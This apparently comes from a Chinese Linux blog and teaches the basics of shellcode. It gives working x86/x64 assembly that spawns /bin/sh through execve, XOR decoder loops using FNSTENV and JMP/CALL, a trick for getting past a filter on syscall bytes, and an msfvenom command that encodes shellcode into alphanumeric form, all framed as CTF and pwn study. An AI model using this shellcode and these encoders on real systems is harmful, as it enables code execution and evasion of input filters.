信息安全長篇分享

深度解析shellcode原理及編碼技術

shellcode原理

系統調用execve("/bin/sh", 0, 0)

具體可以參考系統調用表64位linux中斷向量表

64位

寄存器:

rax = 0x3b
rdi = "/bin/sh"
rsi = 0
rdx = 0

一段簡單的 shellcode:

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
push 0x3b
pop rax
syscall

32位

寄存器:

eax = 0xb
ebx = "/bin/sh"
ecx = 0
edx = 0

一段簡單的 shellcode:

push 0x68732f
push 0x6e69622f
mov ebx, esp
xor edx, edx
xor eax, eax
int 0x80

shellcode編碼技術

限制字符集的shellcode:

  • 一般的可以直接用工具生成。
  • 限制嚴格的需要進行手寫

手寫shellcode

思路一

  1. 根據限制的字符集列出對應的可以使用的指令
  2. 對上面的 shellcode 進行修改
  3. 再轉為對應的機器碼

思路二(ALPHA3就是這麼實現的):

  1. 創建一個能夠滿足字符集的解碼器
  2. 根據解碼器將shellcode編碼成能夠滿足字符集

這裡參考Writing IA32 Restricted Instruction Set Shellcode Decoder Loops講講思路二。

首先,考慮為什麼要解碼:過濾輸入的一個普遍問題是編碼數據中每個位元組可以具有的可能值少於 256 個。但是必須假設原始數據可以包含所有 256 個可能的位元組。 這意味著必須使用兩個或更多位元組來編碼一個位元組

編碼後的 shellcode 要在程序中運行需要附帶解碼器先進行解碼,大概是下面的結構:

[decoder][encoded shellcodes]

接下來是解碼器實現的一些細節問題。

解碼器

解碼器循環:

.-> | 1. 讀取編碼數據 (input)
| L | 2. 解碼
| O | 3. 保存結果 (output)
| O | 4. 移動到下一段數據
| P | 5. 檢查是否到達數據
`--'| 6. 如果沒到跳轉至第1步
V (decoding finished)

重定位

解碼器需要知道編碼過的shellcode在內存中的位置才能進行解碼。由於 shellcode 是被插入到程序中的,而且一些程序還開啟了隨機化保護,並不確定 shellcode 的實際位置,因此解碼器中 shellcode 的位置操作數不能寫死,而需要動態計算。這可以利用重定位技術實現。

其中一種重定位技術實現方法是:

  1. 利用特殊指令callfnstenv等動態獲取當前指令的運行時地址
  2. 計算該地址與當前指令相對shellcode的偏移的差值(被稱為delta offset
  3. 將該差值加到對應數據與該指令相對偏移上,得到的就是運行時數據的正確地址

Patch

對編碼器種和補丁中不符合要求的指令可以再編碼以使其符合要求。

syscall繞過

不允許出現syscall 字元時(\x0f\x05)

一般會利用一個0x9090 ^ 0x959f=0x0f05, 如下:

xor word ptr[rip], 0x959f
nop
nop ;0x909 
使用0偏移

使用偏移為0的操作數,表示的意義相同,但生成的機器碼不同:

00 00 add %al, (%eax)
00 40 00 add %al, 0(%eax) 

FNSTENV XOR decoder

fnstenv指令將最後執行的一條FPU指令相關的協處理器的信息保存在指定的內存中,保存的信息偏移12位元組處就是最後執行的浮點指令的運行時地址。

global _start

_start:
fabs            ; fabs指令
fnstenv [esp]   ; 保存環境,該結構偏移12位元組處就是最後執行的浮點指令的運行時地址
pop edx
pop edx
pop edx
pop edx         ;此處將fabs指令的運行時地址傳給edx
sub dl, -25     ; offset from fabs -> xor buffer    edx = edx + 25,25的大小指的是從shllcode到fabs的偏移

begin:
xor ecx,ecx     ; 清零循環計數器ecx
sub cx, -0x15F  ; 設置cx為shellcode長度

decode:
xor byte [ebx], 0x99    ; 異或key來解碼
inc ebx                 ; 進入下一位元組
loop decode             ; 循環解碼

shellcode:
db ...........................

JMP/CALL decoder

global _start

_start:
jmp short getdata   ; 跳轉到getdata

begin:
pop ebx         ; 彈出shellcode的地址
xor ecx,ecx     ; 清零循環計數器ecx
sub cx, -0x15F  ; 設置cx為shellcode長度

decode:
xor byte [ebx], 0x99    ; 異或key來解碼
inc ebx                 ; 進入下一位元組
loop decode             ; 循環解碼
jmp short shellcode     ; 跳到解碼完成的shellcode

getdata:
call begin  ; 將下一條指令(shellcode)位置壓棧,跳到begin

shellcode:  ; 異或加密後的shellcode
db ..........................

shellcode工具

字符集

alphanumeric指令集

ascii指令集

編碼工具

可以利用工具進行編碼,但是現在的題目限制比較嚴格,一般都要手寫:

pwntools encoders

安裝方法不介紹了。

使用方法看文檔:https://docs.pwntools.com/en/latest/encoders.html

msfvenom

安裝

msf的一個模塊。Kali下自帶,其他環境到官網裝。

使用

先執行msfvenom -l encoders挑選一個編碼器:

$ msfvenom -l encoders        

Framework Encoders [--encoder <value>]
======================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    ruby/base64                   great      Ruby Base64 Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x64/xor_context               normal     Hostname-based Context Keyed Payload Encoder                                                                    
    x64/xor_dynamic               normal     Dynamic key XOR Encoder                                                                                         
    x64/zutto_dekiru              manual     Zutto Dekiru                                                                                                    
    x86/add_sub                   manual     Add/Sub Encoder                                                                                                 
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder                                                                           
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder                                                                           
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower                                                                                        
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower                                                                                              
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder                                                                  
    x86/bmp_polyglot              manual     BMP Polyglot                                                                                                    
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder                                                                                        
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder                                                                       
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/service                   manual     Register Service
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
    x86/xor_dynamic               normal     Dynamic key XOR Encoder

根據輸入的 shellcode 編碼為 linux 平台 x86 架構 BufferRegister=EAX純字母 shellcode:

$ echo "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload

BufferRegister=EAX 用來告訴編碼器 shellcode 的位置保存在哪個寄存器中,用於編碼器在內存中找到 shellcode 的位置,對編碼後的 shellcode 進行解碼

具體可以參考Linux pwn入門教程(2)—shellcode的使用

資料庫

可以直接查找現成的 shellcode

參考

  1. shellcode題目整理, https://tttang.com/archive/1447/
  2. shellcode 開發, https://firmianay.gitbook.io/ctf-all-in-one/4_tips/4.9_shellcode
  3. Linux pwn入門教程(2)—shellcode的使用, https://zhuanlan.zhihu.com/p/40006190
  4. 【安全健行】(4):揭開shellcode的神秘面紗, https://blog.51cto.com/windhawkfly/1652463
  5. shellcode xor編碼/解碼[1], https://www.cnblogs.com/moonflow/archive/2012/05/23/2515389.html
  6. Hacking/Shellcode/Restricted instruction set, https://web.archive.org/web/20111023111816/http://skypher.com/wiki/index.php/Hacking/Shellcode/Restricted_instruction_set
  7. Writing IA32 Restricted Instruction Set Shellcode Decoder Loops, http://www.ouah.org/Decoder_%20Loops.html

本文鏈接: https://linuxstory.org/in-depth-analysis-of-shellcode-principle-and-encoding-technology

LinuxStory 原創文章,轉載請註明出處,否則必究相關責任。

對這篇文章感覺如何?

太棒了
0
不錯
0
愛死了
0
不太好
0
感覺很糟
0

You may also like

Leave a reply

您的電子郵箱地址不會被公開。 必填項已用 * 標註

此站點使用Akismet來減少垃圾評論。了解我們如何處理您的評論數據

More in:信息安全

信息安全

安卓逆向:去廣告和彈窗

安卓應用中常見有三種廣告:啟動廣告、彈窗廣告以及橫幅廣告。啟動廣告一般是單獨的一個 Activity,對於這種廣告可以通過 Activity 切換定位來加以去除。彈窗廣告一般是在 Activity 方法中通過 Dialog->show() 方法調用的,這種廣告可以通過 Hook、定位並修改代碼方法去除。橫幅廣告是出現在 UI 布局中的廣告,在 xml 中定位到之後可以通過修改寬高和可見性的方法去除。
信息安全

安全能力交換協同應對DDoS

安全形勢的急劇惡化也催生出了海量的安全需求,大量安全廠商及網路運營商都投身到這場全球性的安全對抗戰役中,但是隨著網路攻擊在規模、複雜性及量級方面的不斷擴大,越來越多的網路安全廠商及運營商感覺到「力不從心」,大家都意識到應對現今的網路攻擊已不是一家公司或單一組織可以解決的。協作,必將成為未來網路安全領域最重要的發展方向。
信息安全

跳過開機密碼!修改 Windows 10 登錄密碼 :-)

設置密碼來保護自己的電腦數據安全是非常必要的,開機密碼能有效防止未經允許的人窺探自己的電腦。本文將介紹一種簡單的在CMD模式(無需密碼可進入)下簡單的重置開機密碼,並且保證數據原封不動,且安全有效,並提供防被破解方案。
信息安全

修復正向保密

對於 TLS(保障網路通信提供安全及數據完整性的一種安全協議),可能最大的抱怨是, TLS 握手動作緩慢,傳輸加密會造成很多 CPU 開銷。當然,如果配置正確這些都不是問題。最重要的通過 TLS 提高訪客訪問你網站的用戶體驗的一個特徵是會話恢復。會話恢復是指當再一次連接到那些主機時,通過存儲和重用以前的秘密信息。這大大減少了網路延遲和 CPU 的使用量。我們可以在網路伺服器和代理中啟用會話恢復,但是很容易違背正向保密。為了找出為什麼有實際標準的 TLS 庫(即 OpenSSL )會是一件壞事和如何避免搞砸 PFS ...